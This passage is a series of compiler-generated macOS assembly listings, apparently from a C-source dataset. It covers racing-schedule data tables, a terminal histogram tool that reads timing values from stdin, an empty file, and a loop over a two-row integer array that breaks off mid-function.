.quad 0x4014000000000000 ## double 5
.asciz "RumBum.com 250\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
.asciz "DP/GT"
.asciz "May 17\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
.asciz "5"
.space 3
.quad 0x4018000000000000 ## double 6
.asciz "Lime Rock GT Classic 250\000\000\000\000\000\000"
.asciz "GT\000\000\000"
.asciz "May 26\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
.asciz "6"
.space 3
.quad 0x401c000000000000 ## double 7
.asciz "Sahlen's Six Hours of the Glen"
.asciz "DP/GT"
.asciz "June 7\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
.asciz "7"
.space 3
.globl _track ## @track
.p2align 4
_track:
.quad 0x3ff0000000000000 ## double 1
.asciz "Auto Club Speedway\000\000\000\000\000\000\000\000\000\000\000\000\000"
.asciz "Fontana, CA\000\000\000\000\000\000"
.space 6
.quad 0x40f6760000000000 ## double 92000
.quad 0x409f340000000000 ## double 1997
.quad 0x4000000000000000 ## double 2
.asciz "Chicagoland Speedway\000\000\000\000\000\000\000\000\000\000\000"
.asciz "Joliet, IL\000\000\000\000\000\000\000"
.space 6
.quad 0x40f24f8000000000 ## double 75000
.quad 0x409f440000000000 ## double 2001
.quad 0x4008000000000000 ## double 3
.asciz "Darlington Raceway\000\000\000\000\000\000\000\000\000\000\000\000\000"
.asciz "Darlington, SC\000\000\000"
.space 6
.quad 0x40eec30000000000 ## double 63000
.quad 0x409e780000000000 ## double 1950
.quad 0x4010000000000000 ## double 4
.asciz "Daytona International Speedway\000"
.asciz "Daytona Beach, FL"
.space 6
.quad 0x4104820000000000 ## double 168000
.quad 0x409e9c0000000000 ## double 1959
.quad 0x4014000000000000 ## double 5
.asciz "Homestead-Miami Speedway\000\000\000\000\000\000\000"
.asciz "Homestead, FL\000\000\000\000"
.space 6
.quad 0x40efbd0000000000 ## double 65000
.quad 0x409f2c0000000000 ## double 1995
.quad 0x4018000000000000 ## double 6
.asciz "Kansas Speedway\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
.asciz "Kansas City, KS\000\000"
.space 6
.quad 0x40f3f17000000000 ## double 81687
.quad 0x409f440000000000 ## double 2001
.quad 0x401c000000000000 ## double 7
.asciz "Martinsville Speedway\000\000\000\000\000\000\000\000\000\000"
.asciz "Ridgeway, VA\000\000\000\000\000"
.space 6
.quad 0x40efbd0000000000 ## double 65000
.quad 0x409e6c0000000000 ## double 1947
.quad 0x4020000000000000 ## double 8
.asciz "Michigan International Speedway"
.asciz "Brooklyn, MI\000\000\000\000\000"
.space 6
.quad 0x4100c0d800000000 ## double 137243
.quad 0x409ec00000000000 ## double 1968
.quad 0x4022000000000000 ## double 9
.asciz "Phoenix International Raceway\000\000"
.asciz "Avondale, AZ\000\000\000\000\000"
.space 6
.quad 0x40f2c0c000000000 ## double 76812
.quad 0x409eb00000000000 ## double 1964
.subsections_via_symbols
| the_stack_data/117328270.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _RESET ; -- Begin function RESET
.p2align 2
_RESET: ; @RESET
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
adrp x8, ___stdoutp@GOTPAGE
ldr x8, [x8, ___stdoutp@GOTPAGEOFF]
ldr x0, [x8]
bl _fflush
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.globl _GOTO ; -- Begin function GOTO
.p2align 2
_GOTO: ; @GOTO
.cfi_startproc
; %bb.0:
sub sp, sp, #128
.cfi_def_cfa_offset 128
stp x29, x30, [sp, #112] ; 16-byte Folded Spill
add x29, sp, #112
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
str w0, [sp, #36]
str w1, [sp, #32]
ldr w8, [sp, #32]
; implicit-def: $x10
mov x10, x8
ldr w9, [sp, #36]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
add x0, sp, #40
str x0, [sp, #24] ; 8-byte Folded Spill
mov w1, #0
mov x2, #64
adrp x3, l_.str.1@PAGE
add x3, x3, l_.str.1@PAGEOFF
bl ___sprintf_chk
ldr x8, [sp, #24] ; 8-byte Folded Reload
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
adrp x8, ___stdoutp@GOTPAGE
ldr x8, [x8, ___stdoutp@GOTPAGEOFF]
ldr x0, [x8]
bl _fflush
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
bl ___stack_chk_fail
LBB1_2:
ldp x29, x30, [sp, #112] ; 16-byte Folded Reload
add sp, sp, #128
ret
.cfi_endproc
; -- End function
.globl _HIDE_CURSOR ; -- Begin function HIDE_CURSOR
.p2align 2
_HIDE_CURSOR: ; @HIDE_CURSOR
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
adrp x8, ___stdoutp@GOTPAGE
ldr x8, [x8, ___stdoutp@GOTPAGEOFF]
ldr x0, [x8]
bl _fflush
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.globl _sig ; -- Begin function sig
.p2align 2
_sig: ; @sig
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
bl _RESET
mov w0, #0
bl _exit
.cfi_endproc
; -- End function
.section __TEXT,__literal8,8byte_literals
.p2align 3 ; -- Begin function plot
lCPI4_0:
.quad 0x408f400000000000 ; double 1000
.section __TEXT,__text,regular,pure_instructions
.globl _plot
.p2align 2
_plot: ; @plot
.cfi_startproc
; %bb.0:
sub sp, sp, #112
.cfi_def_cfa_offset 112
stp x29, x30, [sp, #96] ; 16-byte Folded Spill
add x29, sp, #96
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _data@GOTPAGE
ldr x8, [x8, _data@GOTPAGEOFF]
str x8, [sp, #32] ; 8-byte Folded Spill
adrp x0, _bins@GOTPAGE
ldr x0, [x0, _bins@GOTPAGEOFF]
str x0, [sp, #40] ; 8-byte Folded Spill
mov w1, #0
stur wzr, [x29, #-8]
ldr w8, [x8]
stur w8, [x29, #-12]
stur wzr, [x29, #-16]
mov x2, #200
bl _memset
mov w8, #500
stur w8, [x29, #-28]
stur xzr, [x29, #-24]
stur wzr, [x29, #-4]
b LBB4_1
LBB4_1: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-4]
subs w8, w8, #1000
cset w8, ge
tbnz w8, #0, LBB4_12
b LBB4_2
LBB4_2: ; in Loop: Header=BB4_1 Depth=1
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldursw x9, [x29, #-4]
ldr w8, [x8, x9, lsl #2]
ldur w9, [x29, #-12]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB4_4
b LBB4_3
LBB4_3: ; in Loop: Header=BB4_1 Depth=1
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldursw x9, [x29, #-4]
ldr w8, [x8, x9, lsl #2]
stur w8, [x29, #-12]
b LBB4_4
LBB4_4: ; in Loop: Header=BB4_1 Depth=1
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldursw x9, [x29, #-4]
ldr w8, [x8, x9, lsl #2]
ldur w9, [x29, #-16]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB4_6
b LBB4_5
LBB4_5: ; in Loop: Header=BB4_1 Depth=1
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldursw x9, [x29, #-4]
ldr w8, [x8, x9, lsl #2]
stur w8, [x29, #-16]
b LBB4_6
LBB4_6: ; in Loop: Header=BB4_1 Depth=1
ldr x8, [sp, #32] ; 8-byte Folded Reload
ldursw x9, [x29, #-4]
ldrsw x10, [x8, x9, lsl #2]
ldur x9, [x29, #-24]
add x9, x9, x10
stur x9, [x29, #-24]
ldursw x9, [x29, #-4]
ldr w8, [x8, x9, lsl #2]
ldur w9, [x29, #-28]
sdiv w8, w8, w9
stur w8, [x29, #-32]
ldur w8, [x29, #-32]
subs w8, w8, #49
cset w8, le
tbnz w8, #0, LBB4_8
b LBB4_7
LBB4_7: ; in Loop: Header=BB4_1 Depth=1
mov w8, #49
stur w8, [x29, #-32]
b LBB4_8
LBB4_8: ; in Loop: Header=BB4_1 Depth=1
ldr x8, [sp, #40] ; 8-byte Folded Reload
ldursw x10, [x29, #-32]
mov x9, x8
add x10, x9, x10, lsl #2
ldr w9, [x10]
add w9, w9, #1
str w9, [x10]
ldursw x9, [x29, #-32]
ldr w8, [x8, x9, lsl #2]
ldur w9, [x29, #-8]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB4_10
b LBB4_9
LBB4_9: ; in Loop: Header=BB4_1 Depth=1
ldr x8, [sp, #40] ; 8-byte Folded Reload
ldursw x9, [x29, #-32]
ldr w8, [x8, x9, lsl #2]
stur w8, [x29, #-8]
b LBB4_10
LBB4_10: ; in Loop: Header=BB4_1 Depth=1
b LBB4_11
LBB4_11: ; in Loop: Header=BB4_1 Depth=1
ldur w8, [x29, #-4]
add w8, w8, #1
stur w8, [x29, #-4]
b LBB4_1
LBB4_12:
ldur x8, [x29, #-24]
mov x9, #1000
sdiv x8, x8, x9
stur x8, [x29, #-24]
mov w1, #1
mov x0, x1
bl _GOTO
stur wzr, [x29, #-4]
b LBB4_13
LBB4_13: ; =>This Loop Header: Depth=1
; Child Loop BB4_18 Depth 2
; Child Loop BB4_22 Depth 2
ldur w8, [x29, #-4]
subs w8, w8, #50
cset w8, ge
tbnz w8, #0, LBB4_27
b LBB4_14
LBB4_14: ; in Loop: Header=BB4_13 Depth=1
ldr x8, [sp, #40] ; 8-byte Folded Reload
ldur w9, [x29, #-4]
add w9, w9, #1
ldur w10, [x29, #-28]
mul w9, w9, w10
scvtf d0, w9
adrp x9, lCPI4_0@PAGE
ldr d1, [x9, lCPI4_0@PAGEOFF]
fdiv d0, d0, d1
stur d0, [x29, #-40]
ldursw x9, [x29, #-4]
ldr w9, [x8, x9, lsl #2]
mov w10, #70
mul w9, w9, w10
ldur w10, [x29, #-8]
sdiv w9, w9, w10
str w9, [sp, #48]
ldursw x9, [x29, #-4]
ldr w8, [x8, x9, lsl #2]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB4_17
b LBB4_15
LBB4_15: ; in Loop: Header=BB4_13 Depth=1
ldr w8, [sp, #48]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB4_17
b LBB4_16
LBB4_16: ; in Loop: Header=BB4_13 Depth=1
mov w8, #1
str w8, [sp, #48]
b LBB4_17
LBB4_17: ; in Loop: Header=BB4_13 Depth=1
ldur d0, [x29, #-40]
mov x8, sp
str d0, [x8]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
stur wzr, [x29, #-44]
b LBB4_18
LBB4_18: ; Parent Loop BB4_13 Depth=1
; => This Inner Loop Header: Depth=2
ldur w8, [x29, #-44]
ldr w9, [sp, #48]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB4_21
b LBB4_19
LBB4_19: ; in Loop: Header=BB4_18 Depth=2
mov w0, #35
bl _putchar
b LBB4_20
LBB4_20: ; in Loop: Header=BB4_18 Depth=2
ldur w8, [x29, #-44]
add w8, w8, #1
stur w8, [x29, #-44]
b LBB4_18
LBB4_21: ; in Loop: Header=BB4_13 Depth=1
b LBB4_22
LBB4_22: ; Parent Loop BB4_13 Depth=1
; => This Inner Loop Header: Depth=2
ldur w8, [x29, #-44]
subs w8, w8, #70
cset w8, ge
tbnz w8, #0, LBB4_25
b LBB4_23
LBB4_23: ; in Loop: Header=BB4_22 Depth=2
mov w0, #32
bl _putchar
b LBB4_24
LBB4_24: ; in Loop: Header=BB4_22 Depth=2
ldur w8, [x29, #-44]
add w8, w8, #1
stur w8, [x29, #-44]
b LBB4_22
LBB4_25: ; in Loop: Header=BB4_13 Depth=1
mov w0, #10
bl _putchar
b LBB4_26
LBB4_26: ; in Loop: Header=BB4_13 Depth=1
ldur w8, [x29, #-4]
add w8, w8, #1
stur w8, [x29, #-4]
b LBB4_13
LBB4_27:
ldur w8, [x29, #-12]
; implicit-def: $x11
mov x11, x8
ldur w8, [x29, #-16]
; implicit-def: $x10
mov x10, x8
ldur x8, [x29, #-24]
mov x9, sp
str x11, [x9]
str x10, [x9, #8]
str x8, [x9, #16]
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _printf
ldp x29, x30, [sp, #96] ; 16-byte Folded Reload
add sp, sp, #112
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
stur wzr, [x29, #-12]
mov w0, #2
adrp x1, _sig@PAGE
add x1, x1, _sig@PAGEOFF
bl _signal
bl _RESET
bl _HIDE_CURSOR
b LBB5_1
LBB5_1: ; =>This Loop Header: Depth=1
; Child Loop BB5_3 Depth 2
adrp x8, ___stdinp@GOTPAGE
ldr x8, [x8, ___stdinp@GOTPAGEOFF]
ldr x0, [x8]
bl _feof
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB5_7
b LBB5_2
LBB5_2: ; in Loop: Header=BB5_1 Depth=1
stur wzr, [x29, #-8]
b LBB5_3
LBB5_3: ; Parent Loop BB5_1 Depth=1
; => This Inner Loop Header: Depth=2
ldur w8, [x29, #-8]
subs w8, w8, #100
cset w8, ge
tbnz w8, #0, LBB5_6
b LBB5_4
LBB5_4: ; in Loop: Header=BB5_3 Depth=2
ldursw x9, [x29, #-12]
adrp x8, _data@GOTPAGE
ldr x8, [x8, _data@GOTPAGEOFF]
add x8, x8, x9, lsl #2
mov x9, sp
str x8, [x9]
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
bl _scanf
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
ldur w8, [x29, #-12]
mov w10, #1000
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
stur w8, [x29, #-12]
b LBB5_5
LBB5_5: ; in Loop: Header=BB5_3 Depth=2
ldur w8, [x29, #-8]
add w8, w8, #1
stur w8, [x29, #-8]
b LBB5_3
LBB5_6: ; in Loop: Header=BB5_1 Depth=1
bl _plot
b LBB5_1
LBB5_7:
bl _RESET
mov w0, #0
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "\033c"
l_.str.1: ; @.str.1
.asciz "\033[%d;%dH"
l_.str.2: ; @.str.2
.asciz "%s"
l_.str.3: ; @.str.3
.asciz "\033[?25l"
.comm _data,4000,2 ; @data
.comm _bins,200,2 ; @bins
l_.str.4: ; @.str.4
.asciz "%#5.1f "
l_.str.5: ; @.str.5
.asciz "min %d ns max %d ns avg %ld ns\n"
l_.str.6: ; @.str.6
.asciz "%d"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _RESET ## -- Begin function RESET
.p2align 4, 0x90
_RESET: ## @RESET
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
callq _fflush
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _GOTO ## -- Begin function GOTO
.p2align 4, 0x90
_GOTO: ## @GOTO
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $96, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl %edi, -84(%rbp)
movl %esi, -88(%rbp)
leaq -80(%rbp), %rdi
movl -88(%rbp), %r8d
movl -84(%rbp), %r9d
xorl %esi, %esi
movl $64, %edx
leaq L_.str.1(%rip), %rcx
movb $0, %al
callq ___sprintf_chk
leaq -80(%rbp), %rsi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
callq _fflush
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB1_2
## %bb.1:
addq $96, %rsp
popq %rbp
retq
LBB1_2:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _HIDE_CURSOR ## -- Begin function HIDE_CURSOR
.p2align 4, 0x90
_HIDE_CURSOR: ## @HIDE_CURSOR
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
movq ___stdoutp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
callq _fflush
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _sig ## -- Begin function sig
.p2align 4, 0x90
_sig: ## @sig
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
callq _RESET
xorl %edi, %edi
callq _exit
.cfi_endproc
## -- End function
.section __TEXT,__literal8,8byte_literals
.p2align 3 ## -- Begin function plot
LCPI4_0:
.quad 0x408f400000000000 ## double 1000
.section __TEXT,__text,regular,pure_instructions
.globl _plot
.p2align 4, 0x90
_plot: ## @plot
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movl $0, -8(%rbp)
movq _data@GOTPCREL(%rip), %rax
movl (%rax), %eax
movl %eax, -12(%rbp)
movl $0, -16(%rbp)
movq _bins@GOTPCREL(%rip), %rdi
xorl %esi, %esi
movl $200, %edx
callq _memset
movl $500, -28(%rbp) ## imm = 0x1F4
movq $0, -24(%rbp)
movl $0, -4(%rbp)
LBB4_1: ## =>This Inner Loop Header: Depth=1
cmpl $1000, -4(%rbp) ## imm = 0x3E8
jge LBB4_12
## %bb.2: ## in Loop: Header=BB4_1 Depth=1
movslq -4(%rbp), %rcx
movq _data@GOTPCREL(%rip), %rax
movl (%rax,%rcx,4), %eax
cmpl -12(%rbp), %eax
jge LBB4_4
## %bb.3: ## in Loop: Header=BB4_1 Depth=1
movslq -4(%rbp), %rcx
movq _data@GOTPCREL(%rip), %rax
movl (%rax,%rcx,4), %eax
movl %eax, -12(%rbp)
LBB4_4: ## in Loop: Header=BB4_1 Depth=1
movslq -4(%rbp), %rcx
movq _data@GOTPCREL(%rip), %rax
movl (%rax,%rcx,4), %eax
cmpl -16(%rbp), %eax
jle LBB4_6
## %bb.5: ## in Loop: Header=BB4_1 Depth=1
movslq -4(%rbp), %rcx
movq _data@GOTPCREL(%rip), %rax
movl (%rax,%rcx,4), %eax
movl %eax, -16(%rbp)
LBB4_6: ## in Loop: Header=BB4_1 Depth=1
movslq -4(%rbp), %rcx
movq _data@GOTPCREL(%rip), %rax
movslq (%rax,%rcx,4), %rax
addq -24(%rbp), %rax
movq %rax, -24(%rbp)
movslq -4(%rbp), %rcx
movq _data@GOTPCREL(%rip), %rax
movl (%rax,%rcx,4), %eax
cltd
idivl -28(%rbp)
movl %eax, -32(%rbp)
cmpl $49, -32(%rbp)
jle LBB4_8
## %bb.7: ## in Loop: Header=BB4_1 Depth=1
movl $49, -32(%rbp)
LBB4_8: ## in Loop: Header=BB4_1 Depth=1
movslq -32(%rbp), %rcx
movq _bins@GOTPCREL(%rip), %rax
movl (%rax,%rcx,4), %edx
addl $1, %edx
movq _bins@GOTPCREL(%rip), %rax
movl %edx, (%rax,%rcx,4)
movslq -32(%rbp), %rcx
movq _bins@GOTPCREL(%rip), %rax
movl (%rax,%rcx,4), %eax
cmpl -8(%rbp), %eax
jle LBB4_10
## %bb.9: ## in Loop: Header=BB4_1 Depth=1
movslq -32(%rbp), %rcx
movq _bins@GOTPCREL(%rip), %rax
movl (%rax,%rcx,4), %eax
movl %eax, -8(%rbp)
LBB4_10: ## in Loop: Header=BB4_1 Depth=1
jmp LBB4_11
LBB4_11: ## in Loop: Header=BB4_1 Depth=1
movl -4(%rbp), %eax
addl $1, %eax
movl %eax, -4(%rbp)
jmp LBB4_1
LBB4_12:
movq -24(%rbp), %rax
movl $1000, %ecx ## imm = 0x3E8
cqto
idivq %rcx
movq %rax, -24(%rbp)
movl $1, %esi
movl %esi, %edi
callq _GOTO
movl $0, -4(%rbp)
LBB4_13: ## =>This Loop Header: Depth=1
## Child Loop BB4_18 Depth 2
## Child Loop BB4_22 Depth 2
cmpl $50, -4(%rbp)
jge LBB4_27
## %bb.14: ## in Loop: Header=BB4_13 Depth=1
movl -4(%rbp), %eax
addl $1, %eax
imull -28(%rbp), %eax
cvtsi2sd %eax, %xmm0
movsd LCPI4_0(%rip), %xmm1 ## xmm1 = mem[0],zero
divsd %xmm1, %xmm0
movsd %xmm0, -40(%rbp)
movslq -4(%rbp), %rcx
movq _bins@GOTPCREL(%rip), %rax
imull $70, (%rax,%rcx,4), %eax
cltd
idivl -8(%rbp)
movl %eax, -48(%rbp)
movslq -4(%rbp), %rcx
movq _bins@GOTPCREL(%rip), %rax
cmpl $0, (%rax,%rcx,4)
je LBB4_17
## %bb.15: ## in Loop: Header=BB4_13 Depth=1
cmpl $0, -48(%rbp)
jne LBB4_17
## %bb.16: ## in Loop: Header=BB4_13 Depth=1
movl $1, -48(%rbp)
LBB4_17: ## in Loop: Header=BB4_13 Depth=1
movsd -40(%rbp), %xmm0 ## xmm0 = mem[0],zero
leaq L_.str.4(%rip), %rdi
movb $1, %al
callq _printf
movl $0, -44(%rbp)
LBB4_18: ## Parent Loop BB4_13 Depth=1
## => This Inner Loop Header: Depth=2
movl -44(%rbp), %eax
cmpl -48(%rbp), %eax
jge LBB4_21
## %bb.19: ## in Loop: Header=BB4_18 Depth=2
movl $35, %edi
callq _putchar
## %bb.20: ## in Loop: Header=BB4_18 Depth=2
movl -44(%rbp), %eax
addl $1, %eax
movl %eax, -44(%rbp)
jmp LBB4_18
LBB4_21: ## in Loop: Header=BB4_13 Depth=1
jmp LBB4_22
LBB4_22: ## Parent Loop BB4_13 Depth=1
## => This Inner Loop Header: Depth=2
cmpl $70, -44(%rbp)
jge LBB4_25
## %bb.23: ## in Loop: Header=BB4_22 Depth=2
movl $32, %edi
callq _putchar
## %bb.24: ## in Loop: Header=BB4_22 Depth=2
movl -44(%rbp), %eax
addl $1, %eax
movl %eax, -44(%rbp)
jmp LBB4_22
LBB4_25: ## in Loop: Header=BB4_13 Depth=1
movl $10, %edi
callq _putchar
## %bb.26: ## in Loop: Header=BB4_13 Depth=1
movl -4(%rbp), %eax
addl $1, %eax
movl %eax, -4(%rbp)
jmp LBB4_13
LBB4_27:
movl -12(%rbp), %esi
movl -16(%rbp), %edx
movq -24(%rbp), %rcx
leaq L_.str.5(%rip), %rdi
movb $0, %al
callq _printf
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
movl $0, -12(%rbp)
movl $2, %edi
leaq _sig(%rip), %rsi
callq _signal
callq _RESET
callq _HIDE_CURSOR
LBB5_1: ## =>This Loop Header: Depth=1
## Child Loop BB5_3 Depth 2
movq ___stdinp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
callq _feof
cmpl $0, %eax
setne %al
xorb $-1, %al
testb $1, %al
jne LBB5_2
jmp LBB5_7
LBB5_2: ## in Loop: Header=BB5_1 Depth=1
movl $0, -8(%rbp)
LBB5_3: ## Parent Loop BB5_1 Depth=1
## => This Inner Loop Header: Depth=2
cmpl $100, -8(%rbp)
jge LBB5_6
## %bb.4: ## in Loop: Header=BB5_3 Depth=2
movslq -12(%rbp), %rax
movq _data@GOTPCREL(%rip), %rsi
shlq $2, %rax
addq %rax, %rsi
leaq L_.str.6(%rip), %rdi
movb $0, %al
callq _scanf
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
movl -12(%rbp), %eax
movl $1000, %ecx ## imm = 0x3E8
cltd
idivl %ecx
movl %edx, -12(%rbp)
## %bb.5: ## in Loop: Header=BB5_3 Depth=2
movl -8(%rbp), %eax
addl $1, %eax
movl %eax, -8(%rbp)
jmp LBB5_3
LBB5_6: ## in Loop: Header=BB5_1 Depth=1
callq _plot
jmp LBB5_1
LBB5_7:
callq _RESET
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "\033c"
L_.str.1: ## @.str.1
.asciz "\033[%d;%dH"
L_.str.2: ## @.str.2
.asciz "%s"
L_.str.3: ## @.str.3
.asciz "\033[?25l"
.comm _data,4000,4 ## @data
.comm _bins,200,4 ## @bins
L_.str.4: ## @.str.4
.asciz "%#5.1f "
L_.str.5: ## @.str.5
.asciz "min %d ns max %d ns avg %ld ns\n"
L_.str.6: ## @.str.6
.asciz "%d"
.subsections_via_symbols
| the_stack_data/67325379.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.subsections_via_symbols
| the_stack_data/165768747.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
adrp x8, _u@GOTPAGE
ldr x8, [x8, _u@GOTPAGEOFF]
str x8, [sp, #16] ; 8-byte Folded Spill
str wzr, [sp, #44]
mov w8, #1000
str w8, [sp, #40]
str w8, [sp, #36]
mov w8, #1
str w8, [sp, #28]
b LBB0_1
LBB0_1: ; =>This Loop Header: Depth=1
; Child Loop BB0_3 Depth 2
ldr w8, [sp, #28]
ldr w9, [sp, #36]
subs w9, w9, #1
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_8
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
mov w8, #1
str w8, [sp, #32]
b LBB0_3
LBB0_3: ; Parent Loop BB0_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #32]
ldr w9, [sp, #40]
subs w9, w9, #2
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_6
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_3 Depth=2
ldr x11, [sp, #16] ; 8-byte Folded Reload
ldr w8, [sp, #28]
subs w8, w8, #1
mov w12, #2
str w12, [sp, #12] ; 4-byte Folded Spill
sdiv w9, w8, w12
mul w9, w9, w12
subs w8, w8, w9
mov x10, x11
mov w9, #4000
smaddl x8, w8, w9, x10
ldr w9, [sp, #32]
subs w9, w9, #1
ldr w8, [x8, w9, sxtw #2]
ldr w9, [sp, #28]
subs w9, w9, #1
sdiv w10, w9, w12
mul w10, w10, w12
subs w9, w9, w10
mov x13, x11
mov w10, #4000
smaddl x9, w9, w10, x13
ldrsw x10, [sp, #32]
ldr w9, [x9, x10, lsl #2]
add w8, w8, w9
ldr w9, [sp, #28]
subs w9, w9, #1
sdiv w10, w9, w12
mul w10, w10, w12
subs w9, w9, w10
mov x13, x11
mov w10, #4000
smaddl x9, w9, w10, x13
ldr w10, [sp, #32]
add w10, w10, #1
ldr w9, [x9, w10, sxtw #2]
add w8, w8, w9
ldr w9, [sp, #28]
sdiv w10, w9, w12
mul w10, w10, w12
subs w9, w9, w10
mov w10, #4000
smaddl x9, w9, w10, x11
ldrsw x10, [sp, #32]
str w8, [x9, x10, lsl #2]
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_3 Depth=2
ldr w8, [sp, #32]
